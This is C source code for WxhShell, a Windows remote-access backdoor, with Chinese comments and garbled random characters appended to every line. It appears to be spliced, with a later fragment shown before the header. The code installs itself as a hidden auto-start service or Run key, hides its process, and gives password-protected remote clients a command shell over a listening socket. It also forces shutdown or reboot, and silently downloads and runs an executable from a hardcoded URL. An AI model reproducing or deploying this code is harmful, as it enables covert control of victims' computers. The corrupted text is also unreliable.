    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BOp&s>hI  
    if(Boot(SHUTDOWN)) LvNk:99:<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  VgNt  
    else { [2,u:0"  
    closesocket(wsh); jP";ll|c  
    ExitThread(0); [Pt5c6L:  
    } V-w[\u  
    break; ynN[N(m#  
    } G{ $Zg  
  // 获取shell %R{clbbbn  
  case 's': { ]X)EO49  
    CmdShell(wsh); ^$y_~z3o#7  
    closesocket(wsh); !Jj=H()}  
    ExitThread(0); YtrMJ"  
    break; VRoeq {  
  } G#! j`  
  // 退出 '4A8\&lQO  
  case 'x': { cZ7b$MZ%9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -j9R%+YW<  
    CloseIt(wsh); Q'^]lVY  
    break; -~h2^Oez  
    } .j4IW 3)  
  // 离开 5aTyM_x  
  case 'q': { O,[aL;v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X 3Vpxtb  
    closesocket(wsh); n.y72-&v  
    WSACleanup(); AsM""x1Ix  
    exit(1); hGF(E*  
    break; mHox  
        } d}',Bl+u{$  
  } /=\__$l)  
  } !+H=e>Y6  
~4*9w3t   
  // 提示信息 f(?`PD[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GKPqBi[rO  
} /kVy#sT|  
  } ?lU]J]  
y\ @;s?QL  
  return; ASaG }h  
} !U/: !e`N  
(.!q~G  
// shell模块句柄 Xb3vvHdI  
int CmdShell(SOCKET sock) eeb 8v:4  
{ # dxlU/*  
STARTUPINFO si; +.HQ+`8z]  
ZeroMemory(&si,sizeof(si)); m= fmf(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W9V%Xc`LQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :"O=/p+*Us  
PROCESS_INFORMATION ProcessInfo; #D+Fq^="P  
char cmdline[]="cmd"; 6M$.gX G.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qq]UEI `Go  
  return 0; bTHa;* `  
} ^ I,1kl~i  
&TWO/F+Y  
// 自身启动模式 !,\9,lc  
int StartFromService(void) n]coqJ  
{ 8yFD2(#  
typedef struct Zml9 ndzT  
{ 8N-~.p  
  DWORD ExitStatus; kC9A  
  DWORD PebBaseAddress; `Xmpm4 ]  
  DWORD AffinityMask; O t `}eL-  
  DWORD BasePriority; h/(9AO}t  
  ULONG UniqueProcessId; 3[aJ=5  
  ULONG InheritedFromUniqueProcessId; i$:CGUb  
}   PROCESS_BASIC_INFORMATION; x_Ais&Gc  
r?/>t1Z  
PROCNTQSIP NtQueryInformationProcess; HNjkRl)QR  
2 >xV&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >cM U<'&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S^D ~A8u  
_W#27I  
  HANDLE             hProcess; 05pCgI}F>  
  PROCESS_BASIC_INFORMATION pbi; ^ad> (W  
6o A0a\G'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9R;s;2$.  
  if(NULL == hInst ) return 0; zLXtj-  
7P|(j<JX6'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S8,+6+_7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `O}. .N]g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <6L$ :vT_  
{/0,lic  
  if (!NtQueryInformationProcess) return 0; vW)GUAF[  
p6}jCGJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *%)L?*  
  if(!hProcess) return 0; vlj|[joXw  
NKd@ Kp`,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7 cIVK}&  
)s=z i"  
  CloseHandle(hProcess); ,CM$A}7[  
Tu/JhP/g,`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l3iL.?&Pa  
if(hProcess==NULL) return 0; "F[VqqD  
l1W5pmhK]'  
HMODULE hMod; m_Fw ;s/9  
char procName[255]; 6o1.?t?  
unsigned long cbNeeded; QdW%5lM+  
bNaJ{Dm$R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4a2&kIn  
>9u6@  
  CloseHandle(hProcess); 5E!|-xD  
^jmnE.8R  
if(strstr(procName,"services")) return 1; // 以服务启动 ~C!vfPC  
B|GJboQ  
  return 0; // 注册表启动 Fsq S)  
} IG9Q~7@  
[?IERE!xQ  
// 主模块 h0^V!.- 5  
int StartWxhshell(LPSTR lpCmdLine) caj)  
{ nW drVT$  
  SOCKET wsl; 10}Zoq|)n  
BOOL val=TRUE; hCxL4LrF  
  int port=0; g:o\r (  
  struct sockaddr_in door; -O_UpjR;  
!w)Mm P Xb  
  if(wscfg.ws_autoins) Install(); @$nI\ n?*  
Rthu8NKn  
port=atoi(lpCmdLine); ;D^)^~7dh  
lP9I\Ge&  
if(port<=0) port=wscfg.ws_port; VhW;=y>}  
O5=ggG  
  WSADATA data; <hK$Cf_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f`IgfJN  
"rKIXy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !<YRocQY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); quKD\hL$  
  door.sin_family = AF_INET; BO9Z "|"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zi[)(agAT  
  door.sin_port = htons(port); _ma4  
Y?5yzD:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VUnEI oKM  
closesocket(wsl); ,F-tvSc\Q  
return 1; ?xf;#J+{8  
} wl{p,[]  
[{{?e6J  
  if(listen(wsl,2) == INVALID_SOCKET) { 3,F/i+@  
closesocket(wsl); mm{U5  
return 1; ,jt098W  
} -y\N9  
  Wxhshell(wsl); eLC&f}  
  WSACleanup(); <#s-hQ  
Qrt8O7&('  
return 0; 7K;dVB  
/ P:Hfq  
} 0}^-, Q,  
c\]L  
// 以NT服务方式启动 "w'YZO]>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "yz\p,  
{ 4KM$QHS5{  
DWORD   status = 0; iP!Y4F  
  DWORD   specificError = 0xfffffff; G/8xS=  
9Y4N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; asq/_`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hwc{%.%ae  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 52["+1g\  
  serviceStatus.dwWin32ExitCode     = 0; hL3,/^;E,  
  serviceStatus.dwServiceSpecificExitCode = 0; N{`l?t0I  
  serviceStatus.dwCheckPoint       = 0; FSQ&J|O  
  serviceStatus.dwWaitHint       = 0; 2s4=%l  
ipzUF o<w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &=?`;K  
  if (hServiceStatusHandle==0) return; m+m6"yE#_  
\Zh)oUHd  
status = GetLastError(); fhY[I0;}$  
  if (status!=NO_ERROR) 3H%HJS  
{ ,|4Ye  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wU ; f   
    serviceStatus.dwCheckPoint       = 0; 1IlR  
    serviceStatus.dwWaitHint       = 0; &Bp\kv  
    serviceStatus.dwWin32ExitCode     = status; |be r:1  
    serviceStatus.dwServiceSpecificExitCode = specificError; R`* *!ku  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #PrV)en  
    return; :1lE98=  
  }  g_>ZE  
-oZ a c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wqwJpWIe  
  serviceStatus.dwCheckPoint       = 0; t@u\ 4bv  
  serviceStatus.dwWaitHint       = 0; L~oFW'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y{{EC#  
} n>E*g|a  
eb/V}%  
// 处理NT服务事件,比如:启动、停止 )PG,K 4z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C}h@El  
{ a`-hLX)~Z  
switch(fdwControl) ];I|_fXo%  
{ 1SFKP$^  
case SERVICE_CONTROL_STOP: XsOOkf\_  
  serviceStatus.dwWin32ExitCode = 0; C^%zV>o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ob] lCX)  
  serviceStatus.dwCheckPoint   = 0; ii;WmE&  
  serviceStatus.dwWaitHint     = 0; |tg?b&QR  
  { {a3kn\6H0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZmULy;{<)  
  } `Q&] dE=  
  return; &1p8#i  
case SERVICE_CONTROL_PAUSE: bNROXiX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,OKM\N ,  
  break; yo*iv+l  
case SERVICE_CONTROL_CONTINUE: /,Rca1W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nFfCw%T?  
  break; }91mQ`3  
case SERVICE_CONTROL_INTERROGATE: H<;Fb;b  
  break; X}*o[;2G  
}; 5|R2cc|"9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q`aY.dD=O  
} y@M}T{,/  
3\KII9  
// 标准应用程序主函数 <c ovApx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Idlu1g  
{ A&P1M6Of  
U  R@BSK'  
// 获取操作系统版本 r}\h\ {  
OsIsNt=GetOsVer(); Is@a,k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &'7"i~pC  
~+#--BhV  
  // 从命令行安装 ?*'$(}r3  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,8I AhQa  
qP"JNswI_  
  // 下载执行文件 X[Ek'=}  
if(wscfg.ws_downexe) { =4e=wAO(i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p{a]pG+3  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ys$YI{  
} v1C.\fL  
Tq84Fn!HJ>  
if(!OsIsNt) { T'M66kg  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q==v!"Gi|  
HideProc(); @E}X-r.^f  
StartWxhshell(lpCmdLine); VK'T[5e  
} b|dCEmFt  
else O4/n!HOb  
  if(StartFromService()) &ZE\@Vc  
  // 以服务方式启动 ;x-H$OZX  
  StartServiceCtrlDispatcher(DispatchTable); |2@en=EYk  
else v{2DBr  
  // 普通方式启动 tin|,jA =  
  StartWxhshell(lpCmdLine); ;a#*|vx  
*9vA+uN  
return 0; ey)u7-O  
} V->%)d3i  
b!]0mXU  
s$Zq/l$1x  
*e<Eu>fW#&  
=========================================== fcICFReyV  
W3/ 7BW`  
5)yOw|Bd  
"PyWo  
,iVPcza  
]&:b<]K3  
" u5Ny=Xm  
5w3ZUmjO  
#include <stdio.h> ^$IZLM?E~  
#include <string.h> 14D 7U/zer  
#include <windows.h> *w/WHQ`xI  
#include <winsock2.h> /u)Rppu  
#include <winsvc.h> :B=8_M  
#include <urlmon.h> NGD*ce"w  
0HR|aqPo  
#pragma comment (lib, "Ws2_32.lib") ck+b/.gw`  
#pragma comment (lib, "urlmon.lib") qon{ g  
i~)N QmH<  
#define MAX_USER   100 // 最大客户端连接数 ole|J  
#define BUF_SOCK   200 // sock buffer y?#9>S >:\  
#define KEY_BUFF   255 // 输入 buffer Znta#G0  
^IGyuj0]jG  
#define REBOOT     0   // 重启 %X9b=%'+  
#define SHUTDOWN   1   // 关机 \V^*44+ <!  
jJVT_8J  
#define DEF_PORT   5000 // 监听端口 &$c5~9p\B  
7':f_]  
#define REG_LEN     16   // 注册表键长度 h}|6VJ@.  
#define SVC_LEN     80   // NT服务名长度 1s`)yu^`v  
U,<]J*b(@4  
// 从dll定义API C ]'g:93L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "#pzZ)Zh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >+ ]R4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f]8!DXEA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ejklpa ./  
=3|pHc hJ4  
// wxhshell配置信息 fpvvV(  
struct WSCFG { Ad;S=h8:  
  int ws_port;         // 监听端口 ;cI#S%uvpn  
  char ws_passstr[REG_LEN]; // 口令 i-,D_   
  int ws_autoins;       // 安装标记, 1=yes 0=no d=XpO*v,[  
  char ws_regname[REG_LEN]; // 注册表键名 dC` tN5  
  char ws_svcname[REG_LEN]; // 服务名 _1sMYhI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L)F1NuR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'j,oIqx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +2DE/wE]e+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BWUt{,?KU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CE#\Roi x)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cJ(BiL-uF  
M XZq  
}; _BV`,`8}  
QqtC`H\  
// default Wxhshell configuration h2wN<dJCM  
struct WSCFG wscfg={DEF_PORT, JI"/N`-?;b  
    "xuhuanlingzhe", r<*O  
    1, TZ_rsj/t  
    "Wxhshell", x(PKFn  
    "Wxhshell", 3ai (x1%  
            "WxhShell Service", ; 8P_av}C  
    "Wrsky Windows CmdShell Service", o]Wz6 L  
    "Please Input Your Password: ", (kIz  
  1, pI7Ssvi^  
  "http://www.wrsky.com/wxhshell.exe", X9fNGM1  
  "Wxhshell.exe" ,+tPRkwA^  
    }; 3J%V%}mD  
q2e]3{l3  
// 消息定义模块 bj@xqAGl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q,.By&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3;*z3;#}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BeK2;[5C  
char *msg_ws_ext="\n\rExit."; Ge~q3"  
char *msg_ws_end="\n\rQuit."; k-"<{V  
char *msg_ws_boot="\n\rReboot..."; ]9jZndgC  
char *msg_ws_poff="\n\rShutdown..."; __!m*!sd  
char *msg_ws_down="\n\rSave to "; Y@Y`gF6F  
Ic'Q5kfM  
char *msg_ws_err="\n\rErr!"; R]u (l+`  
char *msg_ws_ok="\n\rOK!"; lv4(4$T  
]cIu|bRO  
char ExeFile[MAX_PATH]; ~,ynJ]_aJB  
int nUser = 0; ./l|8o  
HANDLE handles[MAX_USER]; .APVjqG  
int OsIsNt; }A|))Ao|  
Wo{K}  
SERVICE_STATUS       serviceStatus; 0G5'Y;8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x>%joKY[  
E0QPE5_  
// 函数声明 AD]e0_E  
int Install(void); =3*Jj`AV  
int Uninstall(void); |rMq;Rgu?  
int DownloadFile(char *sURL, SOCKET wsh); n)#Lh 7X"  
int Boot(int flag); @\)fzubu  
void HideProc(void); 9e~WK720=  
int GetOsVer(void); Z_FNIM0f  
int Wxhshell(SOCKET wsl);  c/ _yMN  
void TalkWithClient(void *cs); -vV'Lw(  
int CmdShell(SOCKET sock); 3DW3LYo{  
int StartFromService(void); uPkb, :6~Z  
int StartWxhshell(LPSTR lpCmdLine); _gKu8$o=-  
Z,WubX<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %e{(twp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f =o4I2Y[  
<Nex8fiJ9  
// 数据结构和表定义 pI>*u ]x  
SERVICE_TABLE_ENTRY DispatchTable[] = "u;YI=+  
{ vM`7s[oAK  
{wscfg.ws_svcname, NTServiceMain}, JSgpb ?(  
{NULL, NULL} =}v ;1m  
}; h* s`^W3  
@EHIp{0.  
// 自我安装 SK+@HnKd  
int Install(void)  \~>e_;  
{ ExCM<$,  
  char svExeFile[MAX_PATH]; WL l_'2h  
  HKEY key; T~X41d\  
  strcpy(svExeFile,ExeFile); q#N R32byF  
aG! *WHt  
// 如果是win9x系统,修改注册表设为自启动 Ky kSFB  
if(!OsIsNt) { xc;DdK=1X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M)JADX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +I5 2EXo  
  RegCloseKey(key); Vl<9=f7[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rjUBLY1(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V^n0GJNo  
  RegCloseKey(key); JrDHRIkgm  
  return 0; B3mS]  
    } \D?:J3H*]  
  } ~*}$>@f{[X  
} WPo:^BD   
else { =&7@<vBpy  
=i>\2J%'R  
// 如果是NT以上系统,安装为系统服务 _s+c+]bO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;cKH1  
if (schSCManager!=0) ;W{b $k@g  
{ MzzKJ;wbC6  
  SC_HANDLE schService = CreateService ^e%}[q[>|  
  ( A W HU'  
  schSCManager, ?x3Jv<G0*  
  wscfg.ws_svcname, :.uk$jx  
  wscfg.ws_svcdisp, J 02^i5l  
  SERVICE_ALL_ACCESS, Es.nHN^]%K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1fFj:p./l_  
  SERVICE_AUTO_START, LjaGyj>)  
  SERVICE_ERROR_NORMAL, UTCzHh1  
  svExeFile, S~)w\(r  
  NULL, 7,'kpyCj  
  NULL, ?NG=8.p  
  NULL, +=eR%|!@  
  NULL, 51by  
  NULL ~W03{9(Vp8  
  ); l-.(Ez*  
  if (schService!=0) pu4,0bw  
  { xWE8W m  
  CloseServiceHandle(schService); CzVmNy)kl  
  CloseServiceHandle(schSCManager); KX3KM!*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `8:Kp  
  strcat(svExeFile,wscfg.ws_svcname); $`ztiVu3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?6P.b6m}0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *(QH{!-$s  
  RegCloseKey(key); a1c1k}  
  return 0; @dgH50o[  
    } WVX`<  
  } Qi9-z'  
  CloseServiceHandle(schSCManager); E0l _--  
} \+nGOvM  
} 3`F) AWzdr  
=Z,5$6%)  
return 1; M#,Q ^rH#  
} j6g@tx^)'  
 8=;k"  
// 自我卸载 'bu)M1OLi  
int Uninstall(void) >t  <pFh  
{ OP! R[27>  
  HKEY key; #E$X ,[ZFo  
}Hcx=}j  
if(!OsIsNt) { ^6;V}2>v}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qOy=O [+9  
  RegDeleteValue(key,wscfg.ws_regname); g|%L"-%gJ  
  RegCloseKey(key); edvFQ#,d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d]wD[]  
  RegDeleteValue(key,wscfg.ws_regname); 86qI   
  RegCloseKey(key); u\1>gDI)|  
  return 0; H!)=y  
  } x_MJJ(q8g  
} CN&  
} *>q/WLR  
else { sZhM a>  
^3]UZ@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @;Opx."  
if (schSCManager!=0) ?j O 5 9n  
{ <l,o&p,>|c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u0o'K9.r  
  if (schService!=0) NwlU%{7W6  
  { -YGbfd<wq  
  if(DeleteService(schService)!=0) { T:iP="?{  
  CloseServiceHandle(schService); _. V?A*  
  CloseServiceHandle(schSCManager); Sq2P-y!w  
  return 0; -db75=  
  } \3XqHf3|o  
  CloseServiceHandle(schService); > m q,}!n  
  } x/fX`y|(}*  
  CloseServiceHandle(schSCManager); ;_?MX/w|&  
} !>$4]FkV  
} uJU*")\V  
,!#ccv+Vm%  
return 1; Q<(YP.k  
} e Y$qV}  
Uh6 '$0  
// 从指定url下载文件 1B=>_3_  
int DownloadFile(char *sURL, SOCKET wsh) ,*svtw:2')  
{ ExBUpDQc  
  HRESULT hr; ~P*4V]L^  
char seps[]= "/"; /t%u"dP"T~  
char *token; O9M{  ).  
char *file; 0s#Kp49-  
char myURL[MAX_PATH]; 9N8I ip]w  
char myFILE[MAX_PATH]; M8&}j  
MCTsi:V>+  
strcpy(myURL,sURL); \nqkA{;B{  
  token=strtok(myURL,seps); p0:kz l4$  
  while(token!=NULL) OO) ~HV4\  
  { +IFw_3$  
    file=token; /=?x{(B>  
  token=strtok(NULL,seps); q2aYEuu,  
  } N)2f7j4C &  
Z.PBu|Kx  
GetCurrentDirectory(MAX_PATH,myFILE); *fMpZ+;[m  
strcat(myFILE, "\\"); AyKMhac  
strcat(myFILE, file); NAC_pM&B  
  send(wsh,myFILE,strlen(myFILE),0); p=Q0!!_r  
send(wsh,"...",3,0); TUK"nKSZ`.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,:2'YB  
  if(hr==S_OK) LNYKm~c N  
return 0; Kv&g5&N,  
else 4,Ic}CvM  
return 1; "SxLN 8.:  
K>Fqf +_  
} bUwn}_7b  
hZXXBp  
// 系统电源模块 =wWpP-J&  
int Boot(int flag) {Ro2ouQ!V  
{ 1T&Rc4$Sn7  
  HANDLE hToken; jKIxdY:U  
  TOKEN_PRIVILEGES tkp; {7hLsK[])  
sic"pn],U  
  if(OsIsNt) { OR1DYHHT/1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y&~w2{a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Vv.r8IGYm  
    tkp.PrivilegeCount = 1; z;tI D~Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c_grPk2O4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '@|_OmcY  
if(flag==REBOOT) { 1$/MrPT(b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &F *' B|n  
  return 0; 82{&# Vc  
} 5 |0,X<&  
else { MM_k ]-7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #p(h]T32  
  return 0; Fxs;Fp  
} ;ea] $9  
  } z;f2*F  
  else { 8`>h}Q$  
if(flag==REBOOT) { 5zJj]A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^FmU_Q0  
  return 0; z /KK)u(q  
}  5^<h}u9  
else { \uqjs+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tsOrt3   
  return 0; MB^~%uZ2K  
} C&LBr|  
} +Mewo  
P9Yy9_a|x  
return 1; 8 ;d$54 b  
} {'sY|lou  
bK"SKV  
// win9x进程隐藏模块 i$G;f^Z!Y  
void HideProc(void) ( 9!k#  
{ H`bSYjgM!  
K%<j=c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g6@Fp7T  
  if ( hKernel != NULL ) c .3ZXqpI;  
  { ,u }XW V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^H{R+}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (/!r(#K0,'  
    FreeLibrary(hKernel); d<!3`qe  
  } 3`d}~v{  
?_x q-  
return; s^0/"j|7  
} 4'j sDcs  
F^"_TV0va  
// 获取操作系统版本 `e9$,h|4  
int GetOsVer(void) Q?ahr~qo  
{  B[=(#W  
  OSVERSIONINFO winfo; +d+@u)6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gTgMqvt  
  GetVersionEx(&winfo); F>tQn4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S= R7`a<.5  
  return 1; +;$oJJ  
  else ](tx<3h  
  return 0; {2/LRPT  
} <DKS+R  
m }a|FS  
// 客户端句柄模块 Y$N)^=7  
int Wxhshell(SOCKET wsl) ^4r73ak/):  
{ #_lt~^ 6  
  SOCKET wsh; C{sLz9  
  struct sockaddr_in client;  S( S#  
  DWORD myID; /MY9 >  
z,qRcO&  
  while(nUser<MAX_USER) ~<<nz9}o_  
{ /,!qFt  
  int nSize=sizeof(client); +4[^!q* H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s2?T5oWU  
  if(wsh==INVALID_SOCKET) return 1;  Q~R ~xz  
Q9I j\HbA"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QK0 h6CX  
if(handles[nUser]==0) V fv@7@q  
  closesocket(wsh); #-pc}Y|<  
else 4h@Z/G!T3  
  nUser++; 8N:owK  
  } ,Y 3W?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `D9]*c !mO  
:4~g;2oag  
  return 0; ^TMJ8` e  
}  `:P  
[SJ6@q  
// 关闭 socket R@Gq)P9?  
void CloseIt(SOCKET wsh) &] \X]p  
{ u0P)7~%  
closesocket(wsh); .sQ=;w/ZA  
nUser--; R[ 49(>7H4  
ExitThread(0); d,8mY/S>w  
} e[sK@jX6  
|F9z,cc"  
// 客户端请求句柄 v9Xp97J2  
void TalkWithClient(void *cs) \Mg`(,kwe  
{ [tMZ G%h  
jTLSdul+  
  SOCKET wsh=(SOCKET)cs; R!l:O=[<  
  char pwd[SVC_LEN]; V9ssH87#  
  char cmd[KEY_BUFF]; lKEkXO  
char chr[1]; ;7N Z<k  
int i,j; AuR$g7z  
C3G)'\yL  
  while (nUser < MAX_USER) { {R/C0-Q^^  
ix#epuN  
if(wscfg.ws_passstr) { nXjP x@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rr#K"SP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vd=yr'?  
  //ZeroMemory(pwd,KEY_BUFF); =6aS&B(SN  
      i=0; spasB=E  
  while(i<SVC_LEN) { A 'G@uD@3  
+~xnXb1  
  // 设置超时 &$`yo`  
  fd_set FdRead; DGevE~  
  struct timeval TimeOut; ,f1q)Qf  
  FD_ZERO(&FdRead); >~K qg~  
  FD_SET(wsh,&FdRead); @ym/27cRE  
  TimeOut.tv_sec=8; ^z,_+},a3T  
  TimeOut.tv_usec=0; iCHt1VV]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bi@&nAhn@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vD 5vbl  
)sho*;_o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :ss,Hl  
  pwd=chr[0]; XUuu-wm:}  
  if(chr[0]==0xd || chr[0]==0xa) { 97K[(KE  
  pwd=0; ljK rj  
  break; a>mm+L 8y  
  } C&++VRnm  
  i++; ~rjTF!  
    } 5OoN!TEM  
}du XC[6  
  // 如果是非法用户,关闭 socket :VF<9@t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lg047K   
} lV.F,3  
ho>k$s?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QdLYCR4f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VXR]"W=  
%lg=YGLQB  
while(1) { ;Ag 3c+  
WD'#5]#Y  
  ZeroMemory(cmd,KEY_BUFF); N{-]F|XX  
z5W@`=D  
      // 自动支持客户端 telnet标准   <cA/<3k)  
  j=0; J)mh u}  
  while(j<KEY_BUFF) { %F kMv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v\`9;QV5  
  cmd[j]=chr[0]; p-+K4  
  if(chr[0]==0xa || chr[0]==0xd) { 8EVgoJ.  
  cmd[j]=0; BL 3gKx.'  
  break; a,78l@d(  
  } (%O@r!{  
  j++; l3nrEk  
    } }8;[O 9  
V'w@rc\XN  
  // 下载文件 w&xDOyW]  
  if(strstr(cmd,"http://")) { O$IjN x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;(}V"i7Hu  
  if(DownloadFile(cmd,wsh)) 5wUUx#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?8W( "W   
  else g#]wLm#  
